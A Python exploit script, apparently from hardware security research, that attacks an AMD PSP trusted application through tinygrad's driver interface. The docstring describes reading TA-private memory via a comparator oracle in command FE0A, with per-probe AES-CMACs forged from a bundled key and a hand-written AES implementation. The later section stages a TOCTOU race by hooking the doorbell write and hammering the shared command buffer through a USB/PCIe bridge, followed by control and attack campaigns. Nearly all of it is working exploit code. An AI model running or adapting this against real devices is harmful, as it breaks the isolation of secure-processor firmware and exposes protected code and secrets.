"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.

params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
Target VA T  ->  D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
(the box has no crypto module). 32 probes binary-search the full 32-bit value.
"""
import struct, sys, glob, json
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am

# ---------- pure-python AES-128 + CMAC ----------
SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
def xt(a):
    a<<=1
    return (a^0x1b)&0xff if a&0x100 else a
def expand(k):
    w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
    for i in range(4,44):
        t=list(w[i-1])
        if i%4==0:
            t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
        w.append([w[i-4][j]^t[j] for j in range(4)])
    return w
def enc(k,b):
    w=expand(k); s=[list(b[i::4]) for i in range(4)]
    s=[[b[r+4*c] for c in range(4)] for r in range(4)]
    def ark(rnd):
        for c in range(4):
            for r in range(4): s[r][c]^=w[rnd*4+c][r]
    ark(0)
    for rnd in range(1,11):
        for r in range(4):
            for c in range(4): s[r][c]=SB[s[r][c]]
        for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
        if rnd!=10:
            for c in range(4):
                a=[s[r][c] for r in range(4)]
                s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
                s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
                s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
                s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
        ark(rnd)
    return bytes(s[r][c] for c in range(4) for r in range(4))
def dbl(b):
    n=int.from_bytes(b,'big')<<1
    if int.from_bytes(b,'big')>>127: n^=0x87
    return (n&((1<<128)-1)).to_bytes(16,'big')
def cmac(k,m):
    L=enc(k,bytes(16)); K1=dbl(L)
    assert len(m)%16==0 and m
    blocks=[m[i:i+16] for i in range(0,len(m),16)]
    blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
    x=bytes(16)
    for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
    return x
# ---------- device ----------
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
g=json.load(open('/root/psp/hw/fe08_good.json'))
CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
def load_asd(p):
    b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
    adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
    try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
    except Exception: return -1
app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
def load():
    n=(len(blob)+3)&~3
    adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
    try:
        r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
    except Exception: return -1,None
def build(cmd,arg10,blob256=None,seed=None,extra=None):
    buf=bytearray(bytes([PAT])*BUFLEN)
    struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
    struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
    if blob256: buf[0x14:0x14+len(blob256)]=blob256
    if seed is not None:
        d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
        buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
        struct.pack_into('<I',buf,0x414,0x10+len(d))
    for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
    return buf
def sub(sid,cmd,buf):
    adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
    try: psp._ring_submit(c)
    except Exception: pass
    adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
    return struct.unpack_from('<I',out,8)[0], out

# ================= bridge TOCTOU race (appended; reuses taread chain above) =================
import ctypes
from tinygrad.helpers import wait_cond

ctrl = adev.doorbell64.usb
HCFG = 0x0009
MAGIC = bytes([0x48,0x4D,0x52,0x01])
ASD = '/root/psp/contall/asd_33-0-0-163_18debcc4.bin'

def hpack(target, A, B, iters, db_addr, db_val):
    return struct.pack('<QIQIIHBB', db_addr & 0xFFFFFFFFFFFFFFFF, db_val & 0xFFFFFFFF,
                       target & 0xFFFFFFFFFFFFFFFF, A & 0xFFFFFFFF, B & 0xFFFFFFFF,
                       iters & 0xFFFF, 0x60, 0x0F)
def harm(cfg):
    ctrl.write(HCFG, cfg)
    assert bytes(ctrl.read(HCFG, 32)) == cfg, "hammer_cfg readback mismatch"
def hfire():
    ctrl.usb.control_write(0xEB, data=MAGIC, timeout=8000)

# capture the wptr-doorbell PCIe address (suppress the actual write)
reg67 = adev.reg(f"{psp.reg_pref}_67")
_cap = {}
_orig = ctrl.pcie_mem_write
ctrl.pcie_mem_write = lambda address, data: _cap.setdefault('a', address)
reg67.write(0)
ctrl.pcie_mem_write = _orig
DB_ADDR = _cap['a']
print('doorbell wptr reg PCIe addr = %#x ; hammer target = cmc+0x818 = %#x' % (DB_ADDR, cmc + 0x818))

FRAME_SZ = ctypes.sizeof(am.struct_psp_gfx_rb_frame); STEP = FRAME_SZ // 4

def unload(s_):
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id = s_
    try: psp._ring_submit(c)
    except Exception: pass

def sub_bridge(sid, cmd, buf, A, B, iters):
    """Let the REAL _ring_submit stage everything; intercept its doorbell write
    (pcie_mem_write -> 0x1005820c) and redirect it to the bridge, which rings the
    wptr then hammers cmc+0x818 between A and B. Fault-free by construction."""
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
    orig = ctrl.pcie_mem_write; fired = []
    def hook(address, data):
        orig(address, data)                      # NORMAL doorbell (host path, proven)
        if address == DB_ADDR:                   # right after it rings, fire the hammer
            harm(hpack(cmc + 0x818, A, B, iters, 0, 0))   # hammer only, no bridge doorbell
            hfire(); fired.append(1)
    ctrl.pcie_mem_write = hook
    try:
        psp._ring_submit(c)
    except Exception:
        ctrl.pcie_mem_write = orig; adev.gmc.flush_hdp(); return -1, b''
    ctrl.pcie_mem_write = orig
    adev.gmc.flush_hdp(); out = bytes(adev.vram.view(cp, BUFLEN)[:])
    return (struct.unpack_from('<I', out, 8)[0] if fired else -2), out

T = 0x00404828; D = (T - PARAMS - 0x14) & 0xFFFFFFFF   # read a nonzero TA dword => gate4 passes

def fresh_state3():
    """Fresh FE07/FE08/FE09(seed=1 => counter=0) => state 3, counter 0. Returns handle h."""
    global sid
    h = None
    for att in range(5):
        ta, out = sub(sid, 0xFE07, build(0xFE07, 0)); h = struct.unpack_from('<I', out, 0x1950)[0]
        if ta == 0: break
        unload(sid); _, ns = load()
        if ns is not None: sid = ns
    sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
    sub(sid, 0xFE09, build(0xFE09, h, seed=1,
        extra={0x820: 1, 0x828: (0x500 - 0x418) & 0xFFFFFFFF, 0x82C: SEED, 0x830: 0}))
    return h

def fe0a_buf(h, v818):
    b = build(0xFE0A, h, extra={0x820: 1, 0x824: D, 0x828: 0})
    struct.pack_into('<I', b, 0x818, v818)       # override the staged 0x818
    return b

print('LOAD_ASD(2):', hex(load_asd(ASD)))
st, sid = load(); print('load GCP: %#x sid=%s' % (st, sid))

SMALL, BIG = 0x2, 0x1000     # 0x2 => gate2 fails (256); 0x1000 => passes (0). both memcpy-safe.
print('\n=== positive controls (NORMAL submit, no hammer) ===')
h = fresh_state3(); print('  FE0A staged 0x818=0x1000 :', hex(sub(sid, 0xFE0A, fe0a_buf(h, BIG))[0]))
h = fresh_state3(); print('  FE0A staged 0x818=0x0002 :', hex(sub(sid, 0xFE0A, fe0a_buf(h, SMALL))[0]))

print('\n=== control: host doorbell + bridge hammer, NO flip (A==B) -- does flood break completion? ===')
h = fresh_state3(); print('  A=B=0x1000 iters=0x2000  :', hex(sub_bridge(sid, 0xFE0A, fe0a_buf(h, BIG), BIG, BIG, 0x2000)[0]))
h = fresh_state3(); print('  A=B=0x1000 iters=0x8000  :', hex(sub_bridge(sid, 0xFE0A, fe0a_buf(h, BIG), BIG, BIG, 0x8000)[0]))

def campaign(stage, A, B, n, label):
    from collections import Counter
    res = Counter()
    for i in range(n):
        h = fresh_state3()
        ta, _ = sub_bridge(sid, 0xFE0A, fe0a_buf(h, stage), A, B, 0x8000)
        res[ta] += 1
    print('  %-34s %s' % (label, dict(res)), flush=True)
    return res

print('\n=== HAMMER: stage 0x1000, flip toward 0x0002 (any 0x100 => race LIVE) ===')
r1 = campaign(BIG, BIG, SMALL, 12, 'stage=0x1000 A=0x1000 B=0x0002')
print('\n=== HAMMER: stage 0x0002, flip toward 0x1000 (any 0x0 => race LIVE) ===')
r2 = campaign(SMALL, SMALL, BIG, 12, 'stage=0x0002 A=0x0002 B=0x1000')

live = (0x100 in r1 and r1.get(0x100,0) < sum(r1.values())) or (0 in r2 and r2.get(0,0) < sum(r2.values()))
print('\n==== VERDICT:', 'TOCTOU OBSERVABLE (cmd buffer non-cached, race LIVE)' if live
      else 'no flip observed (cmd buffer likely cached, or window missed) -> race not demonstrated')
import os, sys as _s; _s.stdout.flush(); os._exit(0)